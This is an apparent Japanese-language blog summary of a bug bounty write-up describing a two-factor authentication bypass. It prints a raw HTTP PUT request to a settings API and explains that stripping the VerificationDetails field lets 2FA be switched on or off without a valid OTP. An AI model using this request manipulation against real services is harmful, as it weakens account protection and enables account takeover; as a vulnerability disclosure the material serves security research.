Hello there, ('ω')ノ
二要素認証バイパスを。
脆弱性:
2FAバイパス
記事:
https://aungpyaekoko.medium.com/two-factor-authentication-bypass-50-5b397e68cfed
今回は、2要素認証のjsonエンドポイントでオン/オフに気づきいたので。
これは脆弱である可能性があると判断し、バイパスしようとすることに。
2要素認証は、5桁のOTPが必要で。
OTPの値のVerificationCodeに適当な値をセットして。
2要素認証をオンにした状態でのリクエストを送信すると。
PUT /api/sts/v2/settings?client_request_id=b8e69342–2e33–4f53-b323-e9186c97e995 HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.target.com/settings/account
Content-Type: application/json;charset=utf-8
Content-Length: 105
Connection: close
{“Settings”:
{“DataType”:”Integer”,
”DomainName”:”services”,
”ResourceName”:”TwoFactor”,
”SelectedValue”:1},
”VerificationDetails”:
{“VerificationId”:”f2315d56-a523–42ea-9999–4de187ec5d07",
”VerificationCode”:”12345"}
}
応答に無効な確認コードというメッセージのみが表示されて。
2要素認証は、SelectedValueに基づいているようで。
ONは1、OFFは2で。
SelectedValueの設定に含まれているVerificationDetailsを削除して。
jsonエンドポイントを送信してからリクエストを送信すると。
OTPを確認せずに2要素認証のオン/オフを行うことができて。
Best regards, (^^ゞ